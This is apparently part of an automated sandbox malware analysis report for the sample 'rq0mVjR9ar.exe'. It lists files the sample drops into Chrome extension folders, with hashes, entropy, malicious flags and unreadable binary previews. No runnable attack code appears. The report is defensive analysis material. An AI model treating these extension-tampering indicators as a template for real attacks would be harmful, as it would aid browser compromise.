T.(..."Aw..;..L..6w...Lh>.u....A..L.G.../.$...h"...J.....{..j.gXH3`..tL\K.a).t..O@`.\b......{..gi..^..0..7<...=.h....d.rS.....6.#Rk...\|..'....).$.'.x.t;._.e.3...^OG..L........i.).Ru.U..i>..=]IA.?N%!..R.rc.8...55./..o..\......TJ.....AF....^...S..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	18852
Entropy (8bit):	7.989228117747266
Encrypted:	false
SSDEEP:	384:6lqH3ZR2MK3nCtBgnXqYMM1r2eT1Cug8ni+d+2CM:6G3uMK3nCngiM15T1wn3jM
MD5:	509B382A0A5FE7AAE9ABB300FB83195D
SHA1:	DFCA07894208539CE4124D6BFB3FB86EE7555B67
SHA-256:	76A8A24F42F11C7A63BEFCB3979C63607D3B2897B212EFFF2DDFFE4FEDA214A3
SHA-512:	5BA8CED83FBA108949C72723130D8DA6D1AB239AB96A6B262EA92A7AC23D2E5F26646C6043EE522A0DB7B3EF3D75257D2D639676D89C21FE87F68DDD17E1FAD2
Malicious:	false
Preview:	[{"de.......@.`..a....4....a...H.O..........n.Dl........<.cP.b......M........e@v...zW).^=.5..'6.[%.6....WK..w.#tR.[..N}.l4...M...$-..c...N.U.s.n....,..O.T.4.1.....p.e..K.:Z]..+kn.,.....i1q....l\|......Gg.t....J..._.&..)]j..R.9~...A.x....@W..x..3..8w.+.6....>.D....P.vW..h....ZU.f....N]o.g.....L..>....:.$...~...E..}..@. ....x.V./....%R........m.....T. .5.I....FM.B....=......Nh...:..;^."%x..)D^OtJ.+.......D._8.U.-..p....]...N.x...9.H..(j(....+k:S.......r...'..[.KO....(..8.....U3.Q..H...ue.... .B..r.A..b..7.R..gW.J...]...}.w\|.k.(H..G...Q.....+........F/.~.=C~.r..cd.+.R1i.8.....&Y...Z.........T...j.W.(1..I.C.)PPh%.. .F..):O..i..R......3W....O.o...~...4.~l........ ..@.pVB.Mf..\|_.-..m@/.......G.~.....z7l#Es.I..].h....Y?.'..S..Z..u..z..E.........kW...........?[Bq1+d.S..zt$.L..t.......Nz......]......%_l5.#.../C.BU..S.....v..:u._..f........d...n..s....?Z.?....C..6Q+.J_;+B.).V.H...:...]5....I.&.[...%..S..'pp.l.o.S.T..........N./*.~......mtq.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.819394691631263
Encrypted:	false
SSDEEP:	24:lzsPo8NwU52Zk/mlHjprmy+pdBb2VNtIiJa2BWd233iTkbD:ukUJmlH1rbeaVNNJa20d1iD
MD5:	A790A887A393790ADD4CC671B9A872A0
SHA1:	2A995B64F548C00E1F2D70DB1E0152ACAB05599D
SHA-256:	1B8BD6E3E567DC5E08962DC9FF5EE5EA810AA490CAB9E8A26AAB54DF9B332A9D
SHA-512:	A1F0A9B8E0E569D1A85B9AE8F50293F110572692721649D3661744708C0F88143D4EDB7B2D9745F991630EA8DA8421E1CFA15C5BFFF5B2D9DD4294101EC59B55
Malicious:	false
Preview:	{. "..i...0....,hJP.fM...1.P.N`.\.....u.<.......+..arW....Z.DZ._.B..#}3..-1.l.]C.........s.1^s..-{.JU......U.N..6...C...=T..........Vq.v.s...v..!i....Z.%.......<.>]d..y..f.S.lqqn+........1....i...\|..cV!V%.....c..z.&x.....s.N7.A.y.....5M.ui,...4....L..A,p.MN.:.n.n..v...S_....t......k...~..&..d8@...&..%u...1.m........c.+w.`.}.%.D1........B..z)G.J~.<.I..-L.....c.+...\..$.f=..bx^.K_W(..(.\QZ.........Lt.P.%R:.....bw...9D...:[..>..4m.5l.9^...M..I#.c...S+.^.>w.T.....j.&D.4.....Q..B.\.J....."y.........W..m...J.s.....K.Y._.C....bP........[...C-..f..Gr.ZvNa>..W.C.r..c...7(....V.i..0....'q...m.8.\|...Ug1.E.>..K..;..o}....S........W.-X..\|A..tv....t..T.\|2*.F.uc%3..~^...,..B.../..f:.~p.A'..VN.r...@X!.Xo.Al.,....b%.o..5.nn..........#.-yI.....!..C...@a.Ly.......>].".qj.r.....Q....%.$HZ(....ig..D.5_g>.?...&......p..,....9n.x7.V........._....8.3..Q.gx...!\|lN..u.>$.c>5.$..:..M...F......d..^...;.i2.RD....).'L.q......].{.....R...<.$!.+... ..........:.#

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	80603
Entropy (8bit):	7.9978499572111685
Encrypted:	true
SSDEEP:	1536:hZz8RSTeM/aZMHJSJCfaLQgVPTV2EPmanLBbHlqXo5Ru6CHGqP5Aq3N:Pz8YT5sMHMdLQAxJlLZNRu6Z4Aq3N
MD5:	A495B06C9AFA6F6686F339D7ED721168
SHA1:	0137A02767B52EF7C81A0615FD03F8876D7A46CD
SHA-256:	BB1B15EF9700A49FD27B117390109E38C6E3E52D52FF39948F16DB8E3E23C17A
SHA-512:	217DB01C20B646FFE79BB076E3E336B7CBBEE7452CB1C6BE3BB060AD7C853B8F788714AF47B49F6D04799BE3A038ACEC51B58176F9139BDB496AF5B6D65FC3D8
Malicious:	true
Preview:	/.. ...p..C.1.O.Q..d{......8..;f...E_.h.m.B.z.o....m....E.......U..a.n. .}.1..n<..X......[.K.....3...lRw`o......<x.XZ....r.r.R.J...E~...kh....u)..l...^.30..+..CS.ft..u. .... "Sp5.p...`..)...3Kh.I.e.Ye.e.Q...< ;....,.!Z.h....Ca....w7.&.....H..dFU(;..c..8.Sj3....)..[........er.....5....x...].........\..N......yC.V.W\.......)%.s.eXw.1.........4+..R..:.......8.\..;..a6u.g..1............K...1.QT.b..`..d4.>....G.c..`N....].....P.i......[..`...._..3#(......."...{Fp_B....w.qC.D.....b.[..........x.?..{......R.b.:.jDs...`Q.........".N\|.^3.y....7l..f.S..K4.<q.%..f.L......U.5...A.H.v.R...O..[].$.Pc.....2....Ub....{..:.C....K......./.....z.....\|.7.m.em....M.......i..W......p/.....s...H.-...c.8f.:9@.S.u.........`\|..x.j0\|..\...e.C...A......\OZ...e[........\|E.&W.....n..+.......j....E.L;.Z.wT3..oN7..e 2/...dfc_[C2...\|Q....p:..."........m..~....{.}..oJp...n.....y..[...T`Q8.R.h..._.G.>y..y..nU6....5A.........>\|.....7TP.+f...Ye...}W/*..6.....q.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.932641348291395
Encrypted:	false
SSDEEP:	48:uIWLxw/Bg4GTC9tmii3fBJdjwRDXa6iHC6PQHTCEkw+FhVFKlQ/4bZriD:uIW9w/BXhtmii3/d+DyjqColW4bg
MD5:	DF0F3F2CBEB54F934029FA0059286640
SHA1:	A226E228B149D6625CD43F8C41F3786703B28492
SHA-256:	ED8DF2C52A79A1A0FC3CC41CEA01385BD6E989D7CFC4403B88E87C583CFCE7F0
SHA-512:	E7867283419FD44DB86A427DB331D797C487980D1733DC0FA88CE181AB9E7E3287D59CE5BFA7AE59D15ACA0C21448771DD5FB4C2BBC7586978839F4F2E536AE6
Malicious:	false
Preview:	{.. N]M..6..].[....Fd...S7(:.0.C.Q....0g.E...........u.dp.<......X.u.&.NUj.[E.ymr.y.C....^.m.+..A{..MXk....Xc...H....vr".cC.C........"$...8...<.o..f..su...1.I ,.+)>.b....p9..'LI.]...D..V.R.&.Q8..=GC.e..i.=....GU]....../.#.Y_.0M.5n....>M.(.:./.....`]z.g..Ccse......F....L\_/Gp,.......2..HQ>.....[.Qg.#.....\..A..d.7..*.j.zI.3.\|.C.9......F.Lb.b1...}...D.^f.......1..x..c}.....(h.R..M:}.^.d...Fia.F_............\.hUG!..R.<g.KvP...L:...4=o....m..!..)Pv#J....&x$..p).!h...<.....}....'.q.%......9H.&.....P..._.n.........Z..U..n....o..W......]9%$..@S...&oT......1Z..^&S....X...].bGs.l.%+v.v&......,.m.~...).FY.8..>O..P..A..5.f.$...?.....L.....+...s..G!..>;"....Y...s...Y....J.'3.......x...X.....l.q.Wa.1.>8...&.b.......;4..C....k..i&.<.c......$..`/.8.0...D.Y.....y.irT....M...<..G...4'...h#....,.$h...=g...C..=S.G..k..#.`...7.q.6..%...{..g...H....n...._Y...-3.?g.dX.......x,...[u..C4l5..k...&sq\H.w.7E7B....i..\9.9{?zJ...4........=9..V..X..,x.a.....`-.0...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.607718302622208
Encrypted:	false
SSDEEP:	12:26gHBIVUxV8P21hA/TQrf/sHvgJVDtCF9FoOAIVixpZacii9a:26gHBIVUxJ1hEsAgxE7AuiTkbD
MD5:	407288AAD740AAA40385DBE5A3171199
SHA1:	2A63445A7933574579EDC0FC4CD2D64C0F863F27
SHA-256:	FEC1C03BEB90E15F41FF24A79D21E143CDBF0C201539244372BFF13C4F3AF923
SHA-512:	B9D97002895EF0782E08FC808AA34FF9695E95B230469B385C7C3392E96E4594AD6428E8BAF3AD2066A4F9341E04C0BD830F4DBF07C686BE4973375C26E4ED3A
Malicious:	false
Preview:	(func.P4..>.T.ktv.......@..V......E0..6../.8t.5/?].Q.......\|....8.CR..z.Q2.>o...r.&.k.T...>..\|i.._.dyexY.6F.1o{..rkOs.....f..S...66._.Z#.\p.Bc.]u...$.;..1.h..0...eGD.E..5.C:X....8...~jh.k..,.".$y{8G.(h..)..\|...g.....g....KP@....ja...x.........;#<@H.N.i.......1.H....Y..Hl'_.....<..T..:...@ffFZ..h3ax.Y/.....K+...2$.^+.K9X).i....W...QT..a...\...f....\|j.n}...5...<R<.8.s...D.pd.j.D..&\|=...nx...+\|.Z9...D1<Z.LTO#..w&._........y.%.w*...2.0.5.8..G...J.....7rz..V.U=.......G=-.E..F].......H. ......X Mk0.j.N....xl.&JP...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	11551
Entropy (8bit):	7.98418091506842
Encrypted:	false
SSDEEP:	192:sIXE6r6KMuH262vM7S5QWonhxAZlxmmReGhIu3HkF5c/nuET8/XdI3TH:7UXdS72xmmReGiOkF5cfuE8XdI3TH
MD5:	0AF9D542040DD71729166FCE991868D4
SHA1:	C0D0905E3C6D4083793FC0ADA7899A1EE8923AED
SHA-256:	19F290AF1F61B609DCE0B927808D231FCCCA8B8F4689B8BE55F34A7038AB041E
SHA-512:	12966A8A2F33B059C9FB36E761669B4970228F8300BBAFF335438710D07C230E62978F5FAC3A77550E213B2B8185E58723C412155409E757E3B1D19F3E407B92
Malicious:	false
Preview:	{"filc.E.....T....{.[...y.R...y.[;U.`.@.<.).-.=...;.A{.........._=...u7..8A..buk.0.....{('...<C...~...q..B......-...T9N0j...5....V.X.S.......'.hF.n. ........xw.w!...g;;...~A.s..G......{...#.E.by...$krz../<V......w...71..k...,..:.j.5.....e.?0..<q.y....'.....V.....`...9...A4......j.Jp...=/1.. ..od....Q.....%....p..<t...P7m.o.`.6..9H....m.....%.u{e.N.]...d...'..O.;.jbw.]..8._H...Uu>.:+7...TU...u....T.6...al.".4............z8 .._..J.n.).......w...<$S............&.3. ...m].....~..j.m.....HW.B.a..1..d.3s-........<..Pa.....sR........S9.....0r........\....q..>H.).Z.U..I......_y"A....h..6..H.L9pl$.N.>....0....d..3n..>.......C..b..J..$ ...Vt.F.Da:...a...nL..K.x.LW.&s)J..L..2.=<.X.......Mn.....K....^..e...?...=...N..fj...BPB..Cf^3...7..V<..~...X.I.. ..8.....4.:TLu.{e...VU...Y.-..........y...T./.....# (...7.4jk.....1N$....i..r.<...3..aF.... T.d....O>#.P......W.....u..."5.k..)R7..j...... :.o.\|.b.> .0b..\\|K..q...Z..:..........^6....9.'.-.$..)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8114
Entropy (8bit):	7.976283989796963
Encrypted:	false
SSDEEP:	192:zXQalqhaN/k8w9sqRk/A57K7gSB/wro0vcgym0TyKZD:nlqhaxfP/8SLm0Tf
MD5:	CF08BC910253A03EEC8B248E11820D0C
SHA1:	02DF76CA4EB95BD298996E603BAE20CFF25B9D06
SHA-256:	C29E8BD4B0FEAD226320D44F0A8AF84A827090A164CA49397C87767003E97A86
SHA-512:	7A696F7308FEF13825573B86A90C7099356F0CBE00D460FDDAC10D341F8E799A8E437482175FC5EF0785D15426021624D08AC6334FDA11EDE25BB01B010A9354
Malicious:	false
Preview:	[{"de.....A.Rf-]..g.......%.....[4P....[..n.M...y....O.cv.s.......Wo.F..w...y.:...R..1G..K9....C.D...H..G...YXEf^;!.\|.H.d...J8.Ek...h..I..Y1..j.EQeM.M.n...r.p.....Y..{..!.Bx.....A.a)..\|...I..I..C...G..Ff;GL.N%.~.."j.p..&..,.N..5..k.X td]a.uy......}..r..Q5Sp>H....7..m..ehA %......swh.4/...p.[W.Y......O.......K..+.B....n.b.'.{.<#O.....O.4,..W7..`\|...sn.HB.>]o.....#T.&.v..[...P\|2s,..].p...B.}@RO.>%...d...`...i.e..L.....wN.....4[.7P...f7F0...~!F..B..&.)H..!...Y.r..^3~.m.....u.Ns..Y<..o......:.6.....-..6P.^v."kn.cTb.hN.GVI....<.C6...wTk.k@.nq..a..~....\|!......P...)2.E.E.DB...=.D..\9.tV........c ..@.%M..c.Tc.F.X.@.j..P.L..%.......=...)*7i@.......z.%.+.6...g.G.x.n1....1..m=...'S... ...6......y)?B.K..g2./w=I....$..+...!.Y.... .$.?..I.......G...7.R...b..2..;..[.}....T.Y.W..(q...nj(RZ.....(......:.....X.v&......I.3.v..0..(.DH..Y.....4.?.....voq....(S..kq.~.sg......W....JF....~....d..;\|..2M..rM..<(r.p...h.P.i..N.;.&/.~..0.,Gv..^y.g....>.un..&/;.9..= ...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	544977
Entropy (8bit):	6.604289042876181
Encrypted:	false
SSDEEP:	6144:jHgy9cstli0opwKw0/uMP3gmtJMRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTo:UXnRKI2gTJv
MD5:	F7BE3E72DD29B44BBC902B59D715A7FC
SHA1:	F6AE01BF7B9967A01933012CC7D84A1B682AB985
SHA-256:	54626E1E2A4D17FE57356247682B10F0927BF0189AFD17393FD1B7B91E08CFBE
SHA-512:	B935472A29873E5F8155C749A39B203C68B00E755E80D7FB617ADFA33987A83B4DFFC78E133007E2DA341969138BC1CD61CC79534F7ECFB930311AC3262E7AC5
Malicious:	false
Preview:	/.. I.`..NY..]..voo@...:.A.....Hu...d...p....e....E:.\...zLU<.....M.'>qT.....;o!....p.!..S...e.m....!....Z.;f.:7..Qe.E...m...j.......{...,.X_W..8..3....B.M9HE0.Wc..I.qkO.i..\RX]...W-.beM66...n......Yk..d.y..w.'>#...Y.7.MW.......OA.........Q...../._}...W...u...Kr.....T.@..-..R..........kj.:y....._..AG..>..s........n..$TD.,.ub......^..1i.t.ql..ue.l..b.}!..P.J..o.d.fMoH..b.....o2n+?....$..q........\|%./}E...L....#$....,.)D.l.m...x.2..&..>.G)~..XPbE.....3v.r.G.v.W......gJ..;P.Eh.!6G.)...$0.{.,..N..F#.D..,.d?k.p!.8..v+........V~E.Q.2c.&...o............].I.w...H$.....J..,.SG....q.t.........;.0n....kMi.u..].5.0q......B......K..S.)O..../b..+2...K.x...J.mNOZE#.h..U.i......N.+.ig..X.,g\|...;iV. ...Lo..+,...S.G..;D..4...2#p.k.7....K.U.\|s..j!c..3.v..Jt.^.+.^H.I.\..X..).......G)i........=..g..ki...J.".,...j.jFoD...d..a.2d.F..g....PV..B.r..Pj.U...V..u2......G....+....S._....a.In`...m..-.._\|..+...^./........),.DI.F....1>L..f..I...%....X..r....&\|B.</'

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	261650
Entropy (8bit):	7.488346874636061
Encrypted:	false
SSDEEP:	6144:/IEF1kl8PWxKOFlbqbLkx9FNNsZ9Dd/ceP:/IEA+6lb8L6FIBdh
MD5:	38F21CF3E98A125F26B589A5493DD0D5
SHA1:	5DA09B457C1BFBE3B351B9A3C449E3C287E721A9
SHA-256:	0C51D63915D55A6A0957D7F1EADE8B76D71DF96CF443BD932F5F5588F06B9CF4
SHA-512:	149BE904F028355C52689C1D865F4A8603044F87CD731A59BB83FCA4F4BA8650BADC0A920BD17D1E61E9521A18CFAA289FB73D7C1233433003AD8EDDB8FBC406
Malicious:	false
Preview:	/.. ..>c.B...M..'i.2.C.\m...."..H...D..s......^...r.".g.)/.70......c...-..h#...@.....EDi.[. .kds.0....p\|.HQ.Q~.(.k..........3.(...B..T._.d....!..a.jy.Z.N.....c...n....I^..tZ0'^.s.....CN...X..N ..(....C....F8...r.0$..<....\v.2[\|t.E.E......B...IT]..#.....K?.......vY.n,..3U.[.1......N.oB....p1......m.-"K...bi.(.~.0....m."...i.S...k]..... .y>...P."A`!.%c.#...../..@.._.H...O...E..1.g.. ....AJ...{..L.#..V..`=..+.0..",...f........RxS1L...JV.3.GL..m.`b.3=x.......W...s5.n=...}..?....d...tc4..)-......d9.....qO.zf.....w.o.^2....Z.+..F...p..U.\...........9.(.j......b..,......G...B.M&...Z...\|.....M`..~...Ugu..^Q..H.U.2,7:..;...}...."..r..z..+..,.q.......{*..Q.m...V.P78^.?dm...i.NJ..@........yT..z....5........G....@..V~K..".......).}....-..JiG.).BH..D.Et..p...!...X$".N...9.)N....a,.F/T.7.G....Tx2f#........_s..^...X..n......{mO!q.$.[..&k.Qb.g...Y..\.P.P.y-n..Ru..c.U..Xo..&...][.....O.^Z.a.p..M....}..N.~.7?y.uc......rkp....D....._up

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\craw_window.css

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2075
Entropy (8bit):	7.915976429025376
Encrypted:	false
SSDEEP:	48:kXjAU0DbcJXhT4fE7AEa1qGrkKl7QVq/32Pp1KJps1lNXsxLn1ZiD:R/cv4fEkE/GoCEovPk1HYLn1o
MD5:	E94966CB189965AFF57D9395C7571D0A
SHA1:	8B6ABF80778F94D1AFC3D85681736697A74A20F2
SHA-256:	F986449E78F5C26D0E64E006201E18810808AB7BE48FB4C3665B83E884AD0894
SHA-512:	5E0B025D5AE51D153A540BED7CC99EED57F630EE8715D797F78F2023AF2C6D4AFF6A93A39D575AE5559D55ACE807F19797A83D21A1154F2BCE98925AF9B978FD
Malicious:	false
Preview:	html,i..y.%...A{.Ahu..../Nu.;..l....b...F[..-.2g.h..s.XL.%M.F.?..m#..........u....&.8.U(....s ..L]F.(..!L..v>,..8.....v..2aQw..,.6...d+M...Vl.....4sr......sV..}.s........J.{S.nq......f[...I_...B.]........8r...a......].....A...9j...O.p.......=&...s.b..o.I.\..u##.c.-..rA.!_.u>.ZF....Q.K."@..o.?p.B.%E.&..uI$...a<.!l.iVOf...Uos_$.M.`<`.[..[{...M&...T[<...1N.....:Uv.........%f...S\|i(..8........w.[_.@..@.;.....h._.Q./...r.X5R..@.t......x.F...a..8.]...+'..phE.#...l...e....:.....}1....\|.H..i.3g..)c%.x....[..S...I.....yp....OO.g...@..."$z....F..b..s.fQ..s,.........s.4.........lK6 ; ......\!i..n.).Ix].D....j.-..L..T.=.L........ ...w]........\|L?...6.b...%W....+C..N.ga.\|..L....b.i..$....{......MH.......ZuCmg.....c...y.0.v.b._.do..f....y\z....p..8...f.1$....d..O....8A....Zr.%.9......f.FS...4...DK.P.dq..5!......)q._.&.....%..,...<Gq..c.;[O!..S..vyr;.\|....2j.^`.^....T=D{+I..;...Q.,...n.......42...K.>.B...h.Dl..HD.h..:1...'.........eOx....[

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\craw_window.html

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.812013957939134
Encrypted:	false
SSDEEP:	24:KRYRfWJkcOlGdumIrMC0nqc+VI6y/4bzdQIJpCu+iTkbD:KeReMGdumInqaNZFzpH7iD
MD5:	42ACA2D023855AA4ADDFEFE6D030980D
SHA1:	0E8E9894223F247F6BD3AEE13E503FA59D48EAE5
SHA-256:	3094E2FDA8275C3472296A64A4752E1B42EB296D8FD1B674C0AAFA2759211D6C
SHA-512:	AE5495EC3F258A6B28E98CB7E882D1A7ED33541DFEE1ABCCEE3590E68283EE4E023D1D42DF7A6063ED50D222EAD5321B230410515E4EC05F5C776C0C6F82E81F
Malicious:	false
Preview:	<!DOCZ....+.....O....d...`....,.......i=u..]...rT/].o.....]...../.#.J.....v.. ?.~.0J..?\..B.....Z>.Yv\YK.)..o......O+..7.=....l.....=>..g{..n$..f.....h,C..Ia....... .-.5.....4/.G.lG.[...`.;6\..\.e.+..M...S..u....P.:..^c.....I1(......{......=..j.W.I...v.....A........2...-h........J86.o...:.._..+.....H.{. .`..7izZw..U.$....e...b...F...#l^...G....g8....u..xpK...[zZ?.U..g.. z(B........[.ylYa.<..`.......*.'.3..."...H.....4I1..l.&...\|o2T.../Gy..p.,..W..~+..}.N.i..i...ZAR%)-...........i#[_.H.F.A-.........s./......P..A.<...O..EiEq6...X..u..{...1.U>...[..B.K3..iD`.^ ..E.....av..Z...0.qg[.p.T.F\..\|si ....C..gC...A6.......r".W.q..(S58\|........9.y.p..F...-...\....B..3?..E:z..A..Y7.P .1.:.;.3..4.H..Ts._N..S...I\3'.....y.\.rH....AY.N...u:.....Ug!N..MJw.......(.-\|...1.p....mH5dj._....r..........0x..t..kf..0.L..a......y.^...A6.../.S...f...^A.`Pf..Y.......0Y.&.......[...a.Y....PC.~........i.LF8.^......L.....C...m..t.[~..;._r..D..vW.\|..8-..'rf.#\,......:....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	GIF image data 5668
Category:	dropped
Size (bytes):	70698
Entropy (8bit):	7.997575917655709
Encrypted:	true
SSDEEP:	1536:fdERKMlf08bO1fC2c85HuAcqWCeEoj6QZKcSX1bMsrupHLCfvk6u:VclnS1a2KBlCeEQKB9Mw0M/u
MD5:	5CEBC8F8A96675F48BFFB4DD027A134B
SHA1:	4CC0D4710186CC631EA32E84B27C1FF4D33BE47C
SHA-256:	19B9FF2A88328F687913B77A9A4C6EFC8214DE7B5E122D3595F4A26F6C1AA84B
SHA-512:	1F851E47D22EC21898958744162335A3F04A09A63C886977DE054DCBC3C7D6873A06D3DA1AA8A073CE354A8E341110586F41E8BD0F6AA1F272CEA6003A118CA3
Malicious:	true
Preview:	GIF89S..$.xdq&.....9.B...,...?.....+b.....kwbj...."...f$yI....d....$...Mg..L...1)s.B.T......_....s........5.....R...\|....uqI.Y...B.e..(....}[...F..0O..<D..iNJ'0y.+...kl.6..>.......5...'.9..1....]Hxj.....K.B.HZ...O.1...E0'.B.....,..O@..T..q...a....g.... w.\h....h.\T....x...d..../\LD....m/...q..6...Q.4...y........=....G-.....R.qW.O..).[.D..0.K.\.$....8z...`.riA\...C...Z....es.0Y.Q!.......\|f..W.!...;...R...D\qma.....8vB.`O......}.m.<F...7.+..Ae......5/;...L...S,.a...Et.8#m...mV......L.lH.2....K<..xU..L.].\|..!..q...H..z.. ....O(N...A..E..0......S..d.;........5.!'.U.Ok...8 p.<.....n.2.g.........[.....fa4..y.C.h..W6.G.k.?......3..t$..<-..[...M..u......#...\|B..G..3i.."..\|Gx........./.....#...,..?.)Q.....b..1..0.L..}R..._....+.6S&e.'Y!.m.G..+9.k.z.w... ......U.....\b.V~...mK...J.1.q>.q.gk9^...b..~...0..$.Q....T...^.Hy.?7.%.8...../v7`..........>....f..;D...0wo'..w.y...p.n.1=...u6g..+.@F..L{).[e>.(.......B[....'.v*..,7..%...O.$fw.H.t.$...Q.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	4698
Entropy (8bit):	7.961490209843207
Encrypted:	false
SSDEEP:	96:QL+QXc2t7KieyxFDaBo9LpyMkeNr5YvorH8AQhHwx0+d5c:qbXco7KizxpdFk+r5FQ7Hwx0+dq
MD5:	D84DB4F9AEDC353439C392CEF335F015
SHA1:	F5F641D77B243F17A9BE4715202C69D8D286F2AC
SHA-256:	9D0D3894F886B26699935442EAFE455C5F92F41623122CF5AAB10F6C5047A0A2
SHA-512:	E2355EFC64FE4BE6AE30ACEB8B5D55ABE6F983B5470879F37C0F390E6158629EF446473F920A88D2E5B91F7138BC595558B87B82F90B178D932CB58049F26287
Malicious:	false
Preview:	.PNG...=......J.q.<O.2...T.B..Z..9........v........,X.......-h...W...T..).........[......,..6...{.IY."..J.)..G.O............xD.....p..m..W.x.#.6.......z....t..G&.H.l..b2...s.."x."........dx.<..G..4..l....'5o.@P.....f.c.U?P<>T..r..P......@....s7n......i....\.._.U.. c.z...........p.R......}f2..VG..etx....@...i..7.....;...2!.o...y..U%..{.`.b....=J...,..x.v.o.#/w@....@O.... .S..y^"b.C..'P&A...#.....u...!.vD......rT..g]j.'.2...q..k.FE..L.1.p...3.s.k....e..@2.... .P......o. .../..1..(..x.XQ..l..+...p$nnG..C.Z..+..=....".O..x.....6........4.p~.l3.A.v._....3o......i..Y../.=.e.U..c1...-..B.....n$..3FP..$......t..^..z._Wp_.J0.z..r.......x..9(.q]c.Y.x..Kj#...g..o.......4..4n).....s...C..`.v..(.....c.?/.;Z.......W.C.\|...;mr{.&..M.....~...>.Z..Y... ..wt.+..\|..,b.L.I......D8f.<...........:.{..'L.m#.......]............^O...q./K.O5.M...:R?.A....3...)X.l0GP..qEv....fg.....!n.IJ..:.JW.b.!.av...,4.....e.l'.......a...z..M$.i.........S..3..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_16.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	892
Entropy (8bit):	7.754446162017427
Encrypted:	false
SSDEEP:	24:nz5zr7pFq61OsRBoStQXsrRXle6KY9v9l3iEiTkbD:P/1PoSSXiRXle3YsiD
MD5:	2D14A458F179258BE74A4F2C32CA5250
SHA1:	10CA0A8761E20EDB4835CB1753DFC3FA2A785FB3
SHA-256:	5DE57B01C2ED3A6C11C15F2DACBCEE69854D69BC04A5809FBD9D0D17DB0E9BC8
SHA-512:	737565238EAFF6BBB1A3E6609E9882994F9FB50364D1BE1072450EAA639908B8552F7DB2136D066663B986D2EC5351550BA00D6F61E7697D21EE8A04F3CB3267
Malicious:	false
Preview:	.PNG.b.:....BlF.\s.....f.<....1..t.......~p..[.........C...V.v`.l.>7}U.D.?.Q..Cx....`.&_.fs..c..`..x.xY.V..2;.e.~{g..AGf.6.%5...l...}......\..BXL.#b...NP....Q.....z.b'.J1.....9.........Ec.~..:.4I....b,&0..1.._@.....i.u.c.'..Z..)..S.W.........vF.=...+.....U..u.8...J....%.....^....60.UMJf..m....R...I..T..[S...BS .....G8..n.. ...SQ.)hx.......\|.........&.sGr.U...}....kD.I.L.j....p..-.y.a....N.^...oO.TD.ou...a.PI...A..=.#....6..}T 